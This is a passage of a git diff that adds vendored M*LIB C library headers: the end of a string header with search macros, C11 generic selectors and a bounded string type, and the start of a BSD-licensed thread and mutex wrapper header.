+    ,IT_FIRST(m_string_it)                                                    \
+    ,IT_END(m_string_it_end)                                                  \
+    ,IT_SET(m_string_it_set)                                                  \
+    ,IT_END_P(m_string_end_p)                                                 \
+    ,IT_EQUAL_P(m_string_it_equal_p)                                          \
+    ,IT_NEXT(m_string_next)                                                   \
+    ,IT_CREF(m_string_cref), PUSH(API_0P(m_string_push_u))                    \
+    ,EMPLACE_TYPE(const char*)                                                \
+    )
+#endif
+
+/* Register the OPLIST as a global one */
+#define M_OPL_m_string_t() M_STRING_OPLIST
+
+/* Register the string_t oplist as a generic type */
+#define M_GENERIC_ORG_MLIB_COMP_CORE_OPLIST_1() M_STRING_OPLIST
+
+
+/***********************************************************************/
+/*                                                                     */
+/*  Macro encapsulation to give a default value of 0 for start offset  */
+/*                                                                     */
+/***********************************************************************/
+
+/* Search for a character in a string (string, character[, start=0]) */
+#define m_string_search_char(...)                                             \
+  m_string_search_char(M_DEFAULT_ARGS(3, (0), __VA_ARGS__))
+
+/* Reverse Search for a character in a string (string, character[, start=0]) */
+#define m_string_search_rchar(...)                                            \
+  m_string_search_rchar(M_DEFAULT_ARGS(3, (0), __VA_ARGS__))
+
+/* Search for a C string in a string (string, c_string[, start=0]) */
+#define m_string_search_cstr(...)                                             \
+  m_string_search_cstr(M_DEFAULT_ARGS(3, (0), __VA_ARGS__))
+
+/* Search for a string in a string (string, string[, start=0]) */
+#define m_string_search(...)                                                  \
+  m_string_search(M_DEFAULT_ARGS(3, (0), __VA_ARGS__))
+
+/* PBRK for a string in a string (string, string[, start=0]) */
+#define m_string_search_pbrk(...)                                             \
+  m_string_search_pbrk(M_DEFAULT_ARGS(3, (0), __VA_ARGS__))
+
+/* Replace a C string to another C string in a string (string, c_src_string, c_dst_string, [, start=0]) */
+#define m_string_replace_cstr(...)                                            \
+  m_string_replace_cstr(M_DEFAULT_ARGS(4, (0), __VA_ARGS__))
+
+/* Replace a string to another string in a string (string, src_string, dst_string, [, start=0]) */
+#define m_string_replace(...)                                                 \
+  m_string_replace(M_DEFAULT_ARGS(4, (0), __VA_ARGS__))
+
+/* Strim a string from the given set of characters (default is " \n\r\t") */
+#define m_string_strim(...)                                                   \
+  m_string_strim(M_DEFAULT_ARGS(2, ("  \n\r\t"), __VA_ARGS__))
+
+/* Concat a set strings (or const char * if C11)) into one string */
+#define m_string_cats(a, ...)                                                 \
+  M_MAP2_C(m_string_cat, a, __VA_ARGS__)
+
+/* Set a string to a set strings (or const char * if C11)) */
+#define m_string_sets(a, ...)                                                 \
+  (m_string_reset(a), M_MAP2_C(m_string_cat, a, __VA_ARGS__) )
+
+/* Macro encapsulation for C11 */
+#if defined(__STDC_VERSION__) && __STDC_VERSION__ >= 201112L
+
+/* Select either the string function or the C string function depending on
+   the b parameter of the function.
+   func1 is the string function / func2 is the str function. */
+# define M_STR1NG_SELECT2(func1,func2,a,b)                                    \
+  _Generic((b)+0,                                                             \
+           char*: func2,                                                      \
+           const char *: func2,                                               \
+           default : func1                                                    \
+           )(a,b)
+# define M_STR1NG_SELECT3(func1,func2,a,b,c)                                  \
+  _Generic((b)+0,                                                             \
+           char*: func2,                                                      \
+           const char *: func2,                                               \
+           default : func1                                                    \
+           )(a,b,c)
+
+/* Init & Set the string a to the string (or C string) b (constructor) */
+#ifdef M_USE_CONTEXT
+#define m_string_init_set(p, a,b)                                             \
+    _Generic((b)+0,                                                           \
+    char*: m_string_init_set_cstr,                                            \
+    const char *: m_string_init_set_cstr,                                     \
+    default : m_string_init_set                                               \
+    )(p,a,b)
+#else
+#define m_string_init_set(a,b) M_STR1NG_SELECT2(m_string_init_set, m_string_init_set_cstr, a, b)
+#endif
+
+/* Set the string a to the string (or C string) b */
+#ifdef M_USE_CONTEXT
+#define m_string_set(p, a,b)                                                  \
+    _Generic((b)+0,                                                           \
+    char*: m_string_set_cstr,                                                 \
+    const char *: m_string_set_cstr,                                          \
+    default : m_string_set                                                    \
+    )(p,a,b)
+#else
+#define m_string_set(a,b) M_STR1NG_SELECT2(m_string_set, m_string_set_cstr, a, b)
+#endif
+
+/* Concatenate the string (or C string) b to the string a */
+#ifdef M_USE_CONTEXT
+#define m_string_cat(p, a,b)                                                  \
+    _Generic((b)+0,                                                           \
+    char*: m_string_cat_cstr,                                                 \
+    const char *: m_string_cat_cstr,                                          \
+    default : m_string_cat                                                    \
+    )(p,a,b)
+#else
+#define m_string_cat(a,b) M_STR1NG_SELECT2(m_string_cat, m_string_cat_cstr, a, b)
+#endif
+
+/* Compare the string a to the string (or C string) b and return the sort order */
+#define m_string_cmp(a,b) M_STR1NG_SELECT2(m_string_cmp, m_string_cmp_cstr, a, b)
+
+/* Compare for equality the string a to the string (or C string) b */
+#define m_string_equal_p(a,b) M_STR1NG_SELECT2(m_string_equal_p, m_string_equal_cstr_p, a, b)
+
+/* strcoll the string a to the string (or C string) b */
+#define m_string_strcoll(a,b) M_STR1NG_SELECT2(m_string_strcoll, m_string_strcoll_cstr, a, b)
+
+#undef m_string_search
+/* Search for a string in a string (or C string) (string, string[, start=0]) */
+#define m_string_search(...)                                                  \
+  M_APPLY(M_STR1NG_SELECT3, m_string_search, m_string_search_cstr,            \
+          M_DEFAULT_ARGS(3, (0), __VA_ARGS__) )
+#endif
+
+
+/***********************************************************************/
+/*                                                                     */
+/*    Override m-core default macros to integrate m_string_t in core     */
+/*                                                                     */
+/***********************************************************************/
+
+/* Internal Macro: Provide GET_STR method to default type */
+#undef M_GET_STR_METHOD_FOR_DEFAULT_TYPE
+#define M_GET_STR_METHOD_FOR_DEFAULT_TYPE GET_STR(M_GET_STRING_ARG)
+
+/* Internal Macro: Provide support of m_string_t to the macro M_PRINT in C11 */
+
+// Extend the format specifier to support m_string_t
+#undef M_PRINTF_FORMAT_EXTEND
+#define M_PRINTF_FORMAT_EXTEND()                                              \
+          , m_string_ptr: "%s"                                                \
+          , m_string_srcptr: "%s"
+
+// Add type conversion for m_string_t (into a const char*)
+#undef M_CORE_PRINTF_ARG
+#define M_CORE_PRINTF_ARG(x) _Generic( ((void)0,(x))                          \
+          , m_string_ptr: m_string_get_cstr( M_AS_TYPE(m_string_ptr, x))      \
+          , m_string_srcptr: m_string_get_cstr(M_AS_TYPE(m_string_srcptr,x))  \
+          , default: x )
+
+/* Internal Macro: Provide GET_STR method to enum type */
+#undef M_GET_STR_METHOD_FOR_ENUM_TYPE
+#define M_GET_STR_METHOD_FOR_ENUM_TYPE GET_STR(M_ENUM_GET_STR)
+
+
+
+/***********************************************************************/
+/*                                                                     */
+/*                BOUNDED STRING, aka char[N+1]                        */
+/*                                                                     */
+/***********************************************************************/
+
+/* Define a bounded (fixed) string of exactly 'max_size' characters
+ * (excluding the final nul char).
+ */
+#define M_BOUNDED_STRING_DEF(name, max_size)                                  \
+  M_BEGIN_PROTECTED_CODE                                                      \
+  M_BOUNDED_STR1NG_DEF_P2(name, max_size, M_F(name, _t) )                     \
+  M_END_PROTECTED_CODE
+
+/* Define the OPLIST of a BOUNDED_STRING */
+#define M_BOUNDED_STRING_OPLIST(name)                                         \
+  (INIT(M_F(name,_init)),                                                     \
+   INIT_SET(M_F(name,_init_set)),                                             \
+   SET(M_F(name,_set)),                                                       \
+   CLEAR(M_F(name,_clear)),                                                   \
+   INIT_MOVE(M_COPY_A1_DEFAULT),                                              \
+   NAME(name),                                                                \
+   INIT_WITH( API_1(M_BOUNDED_STR1NG_INIT_WITH)),                             \
+   HASH(M_F(name,_hash)),                                                     \
+   EQUAL(M_F(name,_equal_p)),                                                 \
+   CMP(M_F(name,_cmp)),                                                       \
+   TYPE(M_F(name,_ct)), GENTYPE(struct M_F(name,_s)*),                        \
+   OOR_EQUAL(M_F(name,_oor_equal_p)),                                         \
+   OOR_SET(M_F(name, _oor_set)),                                              \
+   PARSE_STR(M_F(name,_parse_str)),                                           \
+   GET_STR(M_F(name,_get_str)),                                               \
+   OUT_STR(M_F(name,_out_str)),                                               \
+   IN_STR(M_F(name,_in_str)),                                                 \
+   OUT_SERIAL(M_F(name,_out_serial)),                                         \
+   IN_SERIAL(M_F(name,_in_serial)),                                           \
+   )
+
+/************************** INTERNAL ***********************************/
+
+/* Contract of a bounded string.
+ * A bounded string last characters is always zero. */
+#define M_BOUNDED_STR1NG_CONTRACT(var, max_size) do {                         \
+    M_ASSERT(var != NULL);                                                    \
+    M_ASSERT(var->s[max_size] == 0);                                          \
+  } while (0)
+
+/* Expand the functions for a bounded string */
+#define M_BOUNDED_STR1NG_DEF_P2(name, max_size, bounded_t)                    \
+                                                                              \
+  /* Define of an array with one more to store the final nul char */          \
+  typedef char M_F(name, _array_t)[max_size+1];                               \
+                                                                              \
+  typedef struct M_F(name, _s) {                                              \
+    char s[max_size+1];                                                       \
+  } bounded_t[1];                                                             \
+                                                                              \
+  /* Internal types for oplist */                                             \
+  typedef bounded_t M_F(name, _ct);                                           \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _init)(bounded_t s)                                               \
+  {                                                                           \
+    M_ASSERT(s != NULL);                                                      \
+    M_STATIC_ASSERT(max_size >= 1, M_LIB_INTERNAL, "M*LIB: max_size parameter shall be greater than 0."); \
+    s->s[0] = 0;                                                              \
+    s->s[max_size] = 0;                                                       \
+    M_BOUNDED_STR1NG_CONTRACT(s, max_size);                                   \
+  }                                                                           \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _clear)(bounded_t s)                                              \
+  {                                                                           \
+    M_BOUNDED_STR1NG_CONTRACT(s, max_size);                                   \
+    /* Make the object illegal to be able to detect use after free */         \
+    s->s[max_size] = 0x1F;                                                    \
+  }                                                                           \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _reset)(bounded_t s)                                              \
+  {                                                                           \
+    M_BOUNDED_STR1NG_CONTRACT(s, max_size);                                   \
+    s->s[0] = 0;                                                              \
+    M_BOUNDED_STR1NG_CONTRACT(s, max_size);                                   \
+  }                                                                           \
+                                                                              \
+  M_INLINE size_t                                                             \
+  M_F(name, _size)(const bounded_t s)                                         \
+  {                                                                           \
+    M_BOUNDED_STR1NG_CONTRACT(s, max_size);                                   \
+    return strlen(s->s);                                                      \
+  }                                                                           \
+                                                                              \
+  M_INLINE size_t                                                             \
+  M_F(name, _capacity)(const bounded_t s)                                     \
+  {                                                                           \
+    M_BOUNDED_STR1NG_CONTRACT(s, max_size);                                   \
+    (void)s; /* unused */                                                     \
+    return max_size+1;                                                        \
+  }                                                                           \
+                                                                              \
+  M_INLINE char                                                               \
+  M_F(name, _get_char)(const bounded_t s, size_t index)                       \
+  {                                                                           \
+    M_BOUNDED_STR1NG_CONTRACT(s, max_size);                                   \
+    M_ASSERT_INDEX(index, max_size);                                          \
+    return s->s[index];                                                       \
+  }                                                                           \
+                                                                              \
+  M_INLINE bool                                                               \
+  M_F(name, _empty_p)(const bounded_t s)                                      \
+  {                                                                           \
+    M_BOUNDED_STR1NG_CONTRACT(s, max_size);                                   \
+    return s->s[0] == 0;                                                      \
+  }                                                                           \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _set_cstr)(bounded_t s, const char str[])                         \
+  {                                                                           \
+    M_BOUNDED_STR1NG_CONTRACT(s, max_size);                                   \
+    m_core_strncpy(s->s, max_size+1, str, max_size);                          \
+    s->s[max_size] = 0;                                                       \
+    M_BOUNDED_STR1NG_CONTRACT(s, max_size);                                   \
+  }                                                                           \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _set_cstrn)(bounded_t s, const char str[], size_t n)              \
+  {                                                                           \
+    M_BOUNDED_STR1NG_CONTRACT(s, max_size);                                   \
+    M_ASSERT(str != NULL);                                                    \
+    size_t len = M_MIN(max_size, n);                                          \
+    m_core_strncpy(s->s, max_size+1, str, len);                               \
+    s->s[len] = 0;                                                            \
+    M_BOUNDED_STR1NG_CONTRACT(s, max_size);                                   \
+  }                                                                           \
+                                                                              \
+  M_INLINE const char *                                                       \
+  M_F(name, _get_cstr)(const bounded_t s)                                     \
+  {                                                                           \
+    M_BOUNDED_STR1NG_CONTRACT(s, max_size);                                   \
+    return s->s;                                                              \
+  }                                                                           \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _set)(bounded_t s, const bounded_t str)                           \
+  {                                                                           \
+    M_BOUNDED_STR1NG_CONTRACT(s, max_size);                                   \
+    M_BOUNDED_STR1NG_CONTRACT(str, max_size);                                 \
+    M_F(name, _set_cstr)(s, str->s);                                          \
+  }                                                                           \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _set_n)(bounded_t s, const bounded_t str,                         \
+                    size_t offset, size_t length)                             \
+  {                                                                           \
+    M_BOUNDED_STR1NG_CONTRACT(s, max_size);                                   \
+    M_BOUNDED_STR1NG_CONTRACT(str, max_size);                                 \
+    M_ASSERT_INDEX (offset, max_size+1);                                      \
+    M_F(name, _set_cstrn)(s, str->s+offset, length);                          \
+  }                                                                           \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _init_set)(bounded_t s, const bounded_t str)                      \
+  {                                                                           \
+    M_F(name,_init)(s);                                                       \
+    M_F(name,_set)(s, str);                                                   \
+  }                                                                           \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _init_set_cstr)(bounded_t s, const char str[])                    \
+  {                                                                           \
+    M_F(name,_init)(s);                                                       \
+    M_F(name,_set_cstr)(s, str);                                              \
+  }                                                                           \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _cat_cstr)(bounded_t s, const char str[])                         \
+  {                                                                           \
+    M_BOUNDED_STR1NG_CONTRACT(s, max_size);                                   \
+    M_ASSERT (str != NULL);                                                   \
+    M_ASSERT_INDEX (strlen(s->s), max_size+1);                                \
+    m_core_strncat(s->s, max_size+1, str, max_size-strlen(s->s));             \
+  }                                                                           \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _cat)(bounded_t s, const bounded_t  str)                          \
+  {                                                                           \
+    M_BOUNDED_STR1NG_CONTRACT(str, max_size);                                 \
+    M_F(name, _cat_cstr)(s, str->s);                                          \
+  }                                                                           \
+                                                                              \
+  M_INLINE int                                                                \
+  M_F(name, _cmp_cstr)(const bounded_t s, const char str[])                   \
+  {                                                                           \
+    M_BOUNDED_STR1NG_CONTRACT(s, max_size);                                   \
+    M_ASSERT(str != NULL);                                                    \
+    return strcmp(s->s, str);                                                 \
+  }                                                                           \
+                                                                              \
+  M_INLINE int                                                                \
+  M_F(name, _cmp)(const bounded_t s, const bounded_t str)                     \
+  {                                                                           \
+    M_BOUNDED_STR1NG_CONTRACT(s, max_size);                                   \
+    M_BOUNDED_STR1NG_CONTRACT(str, max_size);                                 \
+    return strcmp(s->s, str->s);                                              \
+  }                                                                           \
+                                                                              \
+  M_INLINE bool                                                               \
+  M_F(name, _equal_cstr_p)(const bounded_t s, const char str[])               \
+  {                                                                           \
+    M_BOUNDED_STR1NG_CONTRACT(s, max_size);                                   \
+    M_ASSERT(str != NULL);                                                    \
+    return strcmp(s->s, str) == 0;                                            \
+  }                                                                           \
+                                                                              \
+  M_INLINE bool                                                               \
+  M_F(name, _equal_p)(const bounded_t s, const bounded_t str)                 \
+  {                                                                           \
+    /* _equal_p may be called in context OOR. So contract cannot be verified */ \
+    return (s->s[max_size] == str->s[max_size]) & (strcmp(s->s, str->s) == 0); \
+  }                                                                           \
+                                                                              \
+  M_INLINE int                                                                \
+  M_F(name, _printf)(bounded_t s, const char format[], ...)                   \
+  {                                                                           \
+    M_BOUNDED_STR1NG_CONTRACT(s, max_size);                                   \
+    M_ASSERT(format != NULL);                                                 \
+    va_list args;                                                             \
+    int ret;                                                                  \
+    va_start (args, format);                                                  \
+    ret = vsnprintf (s->s, max_size+1, format, args);                         \
+    va_end (args);                                                            \
+    return ret;                                                               \
+  }                                                                           \
+                                                                              \
+  M_INLINE int                                                                \
+  M_F(name, _cat_printf)(bounded_t s, const char format[], ...)               \
+  {                                                                           \
+    M_BOUNDED_STR1NG_CONTRACT(s, max_size);                                   \
+    M_ASSERT(format != NULL);                                                 \
+    va_list args;                                                             \
+    int ret;                                                                  \
+    va_start (args, format);                                                  \
+    size_t length = strlen(s->s);                                             \
+    M_ASSERT(length <= max_size);                                             \
+    ret = vsnprintf (&s->s[length], max_size+1-length, format, args);         \
+    va_end (args);                                                            \
+    return ret;                                                               \
+  }                                                                           \
+                                                                              \
+  M_INLINE bool                                                               \
+  M_F(name, _fgets)(bounded_t s, FILE *f, m_string_fgets_t arg)               \
+  {                                                                           \
+    M_BOUNDED_STR1NG_CONTRACT(s, max_size);                                   \
+    M_ASSERT(f != NULL);                                                      \
+    M_ASSERT(arg != M_STRING_READ_FILE);                                      \
+    char *ret = fgets(s->s, max_size+1, f);                                   \
+    s->s[max_size] = 0;                                                       \
+    if (ret != NULL && arg == M_STRING_READ_PURE_LINE) {                      \
+      size_t length = strlen(s->s);                                           \
+      if (length > 0 && s->s[length-1] == '\n')                               \
+        s->s[length-1] = 0;                                                   \
+    }                                                                         \
+    return ret != NULL;                                                       \
+  }                                                                           \
+                                                                              \
+  M_INLINE bool                                                               \
+  M_F(name, _fputs)(FILE *f, const bounded_t s)                               \
+  {                                                                           \
+    M_BOUNDED_STR1NG_CONTRACT(s, max_size);                                   \
+    M_ASSERT(f != NULL);                                                      \
+    return fputs(s->s, f) >= 0;                                               \
+  }                                                                           \
+                                                                              \
+  M_INLINE size_t                                                             \
+  M_F(name, _hash)(const bounded_t s)                                         \
+  {                                                                           \
+    M_BOUNDED_STR1NG_CONTRACT(s, max_size);                                   \
+    /* Cannot use m_core_hash: alignment guarantee is not sufficient */       \
+    return m_core_cstr_hash(s->s);                                            \
+  }                                                                           \
+                                                                              \
+  M_INLINE bool                                                               \
+  M_F(name, _oor_equal_p)(const bounded_t s, unsigned char n)                 \
+  {                                                                           \
+    /* s may be invalid contract */                                           \
+    M_ASSERT (s != NULL);                                                     \
+    M_ASSERT ( (n == 0) || (n == 1));                                         \
+    return s->s[max_size] == (char) (n+1);                                    \
+  }                                                                           \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _oor_set)(bounded_t s, unsigned char n)                           \
+  {                                                                           \
+    /* s may be invalid contract */                                           \
+    M_ASSERT (s != NULL);                                                     \
+    M_ASSERT ( (n == 0) || (n == 1));                                         \
+    s->s[max_size] = (char) (n+1);                                            \
+  }                                                                           \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _get_str)(m_string_t v, const bounded_t s, bool append)           \
+  {                                                                           \
+    M_STR1NG_CONTRACT(v);                                                     \
+    M_BOUNDED_STR1NG_CONTRACT(s, max_size);                                   \
+    /* Build dummy string to reuse m_string_get_str */                        \
+    uintptr_t ptr = (uintptr_t) &s->s[0];                                     \
+    m_string_t v2;                                                            \
+    v2->u.heap.size = (m_str1ng_size_t) strlen(s->s);                         \
+    v2->u.heap.alloc[sizeof(m_str1ng_size_t)-2] = 1;                          \
+    v2->u.heap.alloc[sizeof(m_str1ng_size_t)-1] = 31;                         \
+    v2->u.heap.ptr = (char*)ptr;                                              \
+    m_string_get_str(v, v2, append);                                          \
+  }                                                                           \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _out_str)(FILE *f, const bounded_t s)                             \
+  {                                                                           \
+    M_BOUNDED_STR1NG_CONTRACT(s, max_size);                                   \
+    M_ASSERT(f != NULL);                                                      \
+    /* Build dummy string to reuse m_string_get_str */                        \
+    uintptr_t ptr = (uintptr_t) &s->s[0];                                     \
+    m_string_t v2;                                                            \
+    v2->u.heap.size = (m_str1ng_size_t) strlen(s->s);                         \
+    v2->u.heap.alloc[sizeof(m_str1ng_size_t)-2] = 1;                          \
+    v2->u.heap.alloc[sizeof(m_str1ng_size_t)-1] = 31;                         \
+    v2->u.heap.ptr = (char*)ptr;                                              \
+    m_string_out_str(f, v2);                                                  \
+  }                                                                           \
+                                                                              \
+  M_INLINE bool                                                               \
+  M_F(name, _in_str)(bounded_t v, FILE *f)                                    \
+  {                                                                           \
+    M_BOUNDED_STR1NG_CONTRACT(v, max_size);                                   \
+    M_ASSERT(f != NULL);                                                      \
+    m_string_t v2;                                                            \
+    m_string_init(v2);                                                        \
+    bool ret = m_string_in_str(v2, f);                                        \
+    m_core_strncpy(v->s, max_size+1, m_string_get_cstr(v2), max_size);        \
+    m_string_clear(v2);                                                       \
+    return ret;                                                               \
+  }                                                                           \
+                                                                              \
+  M_INLINE bool                                                               \
+  M_F(name, _parse_str)(bounded_t v, const char str[], const char **endptr)   \
+  {                                                                           \
+    M_BOUNDED_STR1NG_CONTRACT(v, max_size);                                   \
+    M_ASSERT(str != NULL);                                                    \
+    m_string_t v2;                                                            \
+    m_string_init(v2);                                                        \
+    bool ret = m_string_parse_str(v2, str, endptr);                           \
+    m_core_strncpy(v->s, max_size+1, m_string_get_cstr(v2), max_size);        \
+    m_string_clear(v2);                                                       \
+    return ret;                                                               \
+  }                                                                           \
+                                                                              \
+  M_P(m_serial_return_code_t, name, _out_serial, m_serial_write_t serial, const bounded_t v) \
+  {                                                                           \
+    M_BOUNDED_STR1NG_CONTRACT(v, max_size);                                   \
+    M_ASSERT (serial != NULL && serial->m_interface != NULL);                 \
+    return serial->m_interface->write_string M_R(serial, v->s, strlen(v->s) ); \
+  }                                                                           \
+                                                                              \
+  M_P(m_serial_return_code_t, name, _in_serial, bounded_t v, m_serial_read_t serial) \
+  {                                                                           \
+    M_BOUNDED_STR1NG_CONTRACT(v, max_size);                                   \
+    M_ASSERT (serial != NULL && serial->m_interface != NULL);                 \
+    m_string_t tmp;                                                           \
+    /* TODO: Not optimum */                                                   \
+    m_string_init(tmp);                                                       \
+    m_serial_return_code_t r = serial->m_interface->read_string M_R(serial, tmp); \
+    m_core_strncpy(v->s, max_size+1, m_string_get_cstr(tmp), max_size);       \
+    m_string_clear M_R(tmp);                                                  \
+    M_BOUNDED_STR1NG_CONTRACT(v, max_size);                                   \
+    return r;                                                                 \
+  }
+
+
+   
+/* Init a constant bounded string.
+   Try to do a clean cast */
+/* Use of Compound Literals to init a constant string.
+   See above */
+#ifndef __cplusplus
+#define M_BOUNDED_STRING_CTE(name, string)                                    \
+  ((const struct M_F(name, _s) *)((M_F(name, _array_t)){string}))
+#else
+namespace m_lib {
+  template <unsigned int N>
+    struct m_bounded_string {
+      char s[N];
+      inline m_bounded_string(const char lstr[])
+      {
+        memset(this->s, 0, N);
+        m_core_strncpy(this->s, N, lstr, N-1);
+      }
+    };
+}
+#define M_BOUNDED_STRING_CTE(name, string)                                    \
+  ((const struct M_F(name, _s) *)(m_lib::m_bounded_string<sizeof (M_F(name, _t))>(string).s))
+#endif
+
+
+/* Initialize a bounded string with the given list of arguments.
+   Check if it is a formatted input or not by counting the number of arguments.
+   If there is only one argument, it can only be a set to C string.
+   It is much faster in this case to call m_string_init_set_cstr.
+*/
+#define M_BOUNDED_STR1NG_INIT_WITH(oplist, v, ...)                            \
+  M_IF_NARGS_EQ1(__VA_ARGS__)(M_C(M_GET_NAME oplist, _init_set_cstr)(v, __VA_ARGS__), M_BOUNDED_STR1NG_INIT_PRINTF(oplist, v, __VA_ARGS__))
+
+#define M_BOUNDED_STR1NG_INIT_PRINTF(oplist, v, ...)                          \
+  (M_GET_INIT oplist (v), M_C(M_GET_NAME oplist, _printf)(v, __VA_ARGS__))
+
+
+
+/********************************************************************************/
+/*                                                                              */
+/* Define the small name (i.e. without the prefix) of the API provided by this  */
+/* header if it is needed                                                       */
+/*                                                                              */
+/********************************************************************************/
+#if M_USE_SMALL_NAME
+
+#define string_t    m_string_t
+#define string_s    m_string_s
+#define STRING_FAILURE M_STRING_FAILURE
+#define string_ptr m_string_ptr
+#define string_srcptr m_string_srcptr
+#define STRING_READ_LINE M_STRING_READ_LINE
+#define STRING_READ_PURE_LINE M_STRING_READ_PURE_LINE
+#define STRING_READ_FILE M_STRING_READ_FILE
+#define string_fgets_t m_string_fgets_t
+#define string_unicode_t m_string_unicode_t
+#define STRING_UNICODE_ERROR M_STRING_UNICODE_ERROR
+#define string_it_t m_string_it_t
+
+#define string_size m_string_size
+#define string_capacity m_string_capacity
+#define string_get_cstr m_string_get_cstr
+#define string_init m_string_init
+#define string_clear m_string_clear
+#define string_clear_get_str m_string_clear_get_cstr
+#define string_reset m_string_reset
+#define string_get_char m_string_get_char
+#define string_set_char m_string_set_char
+#define string_empty_p m_string_empty_p
+#define string_reserve m_string_reserve
+#define string_set_str m_string_set_cstr
+#define string_set_strn m_string_set_cstrn
+#define string_set m_string_set
+#define string_set_n m_string_set_n
+#define string_init_set m_string_init_set
+#define string_init_set_str m_string_init_set_cstr
+#define string_init_move m_string_init_move
+#define string_swap m_string_swap
+#define string_move m_string_move
+#define string_push_back m_string_push_back
+#define string_cat_str m_string_cat_cstr
+#define string_cat m_string_cat
+#define string_cmp_str m_string_cmp_cstr
+#define string_cmp m_string_cmp
+#define string_equal_str_p m_string_equal_cstr_p
+#define string_equal_p m_string_equal_p
+#define string_cmpi_str m_string_cmpi_cstr
+#define string_cmpi m_string_cmpi
+#define string_search_char m_string_search_char
+#define string_search_rchar m_string_search_rchar
+#define string_search_str m_string_search_cstr
+#define string_search m_string_search
+#define string_search_pbrk m_string_search_pbrk
+#define string_strcoll_str m_string_strcoll_cstr
+#define string_strcoll m_string_strcoll
+#define string_spn m_string_spn
+#define string_cspn m_string_cspn
+#define string_left m_string_left
+#define string_right m_string_right
+#define string_mid m_string_mid
+#define string_replace_str m_string_replace_cstr
+#define string_replace m_string_replace
+#define string_replace_at m_string_replace_at
+#define string_replace_all_str m_string_replace_all_cstr
+#define string_replace_all m_string_replace_all
+#define string_vprintf m_string_vprintf
+#define string_printf m_string_printf
+#define string_cat_vprintf m_string_cat_vprintf
+#define string_cat_printf m_string_cat_printf
+#define string_fgets m_string_fgets
+#define string_fget_word m_string_fget_word
+#define string_fputs m_string_fputs
+#define string_start_with_str_p m_string_start_with_str_p
+#define string_start_with_string_p m_string_start_with_string_p
+#define string_end_with_str_p m_string_end_with_str_p
+#define string_end_with_string_p m_string_end_with_string_p
+#define string_hash m_string_hash
+#define string_strim m_string_strim
+#define string_oor_equal_p m_string_oor_equal_p
+#define string_oor_set m_string_oor_set
+#define string_get_str m_string_get_str
+#define string_out_str m_string_out_str
+#define string_in_str m_string_in_str
+#define string_parse_str m_string_parse_str
+#define string_out_serial m_string_out_serial
+#define string_in_serial m_string_in_serial
+#define string_it m_string_it
+#define string_it_end m_string_it_end
+#define string_it_set m_string_it_set
+#define string_end_p m_string_end_p
+#define string_it_equal_p m_string_it_equal_p
+#define string_next m_string_next
+#define string_get_cref m_string_get_cref
+#define string_cref m_string_cref
+#define string_push_u m_string_push_u
+#define string_pop_u m_string_pop_u
+#define string_length_u m_string_length_u
+#define string_utf8_p m_string_utf8_p
+#define string_set_ui m_string_set_ui
+#define string_set_si m_string_set_si
+#define string_it_pos m_string_it_pos
+#define string_it_get_pos m_string_it_get_pos
+#define string_previous m_string_previous
+#define string_it_set_ref m_string_it_set_ref
+
+#define STRING_CTE M_STRING_CTE
+#define STRING_OPLIST M_STRING_OPLIST
+#define M_OPL_string_t M_OPL_m_string_t
+#define string_sets m_string_sets
+#define string_cats m_string_cats
+#define string_init_printf m_string_init_printf
+#define string_init_vprintf m_string_init_vprintf
+
+#define BOUNDED_STRING_DEF M_BOUNDED_STRING_DEF
+#define BOUNDED_STRING_OPLIST M_BOUNDED_STRING_OPLIST
+#define BOUNDED_STRING_CTE M_BOUNDED_STRING_CTE
+
+#endif
+
+M_END_PROTECTED_CODE
+
+#endif
diff --git a/lib/subghz_unleashed_compat/include/mlib/m-thread.h b/lib/subghz_unleashed_compat/include/mlib/m-thread.h
new file mode 100644
index 000000000..1809513e0
--- /dev/null
+++ b/lib/subghz_unleashed_compat/include/mlib/m-thread.h
@@ -0,0 +1,772 @@
+/*
+ * M*LIB - Thin Mutex & Thread wrapper
+ *
+ * Copyright (c) 2017-2026, Patrick Pelissier
+ * All rights reserved.
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ * + Redistributions of source code must retain the above copyright
+ *   notice, this list of conditions and the following disclaimer.
+ * + Redistributions in binary form must reproduce the above copyright
+ *   notice, this list of conditions and the following disclaimer in the
+ *   documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
+ * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE REGENTS AND CONTRIBUTORS BE LIABLE FOR ANY
+ * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+ * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
+ * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
+ * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
+ * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+*/
+#ifndef MSTARLIB_MUTEX_H
+#define MSTARLIB_MUTEX_H
+
+/* Auto-detect the thread backend to use if the user has not override it */
+#ifndef M_USE_THREAD_BACKEND
+# if defined(INC_FREERTOS_H)
+#  define M_USE_THREAD_BACKEND 4
+# elif defined(WIN32) || defined(_WIN32) || defined(__CYGWIN__)
+#  define M_USE_THREAD_BACKEND 2
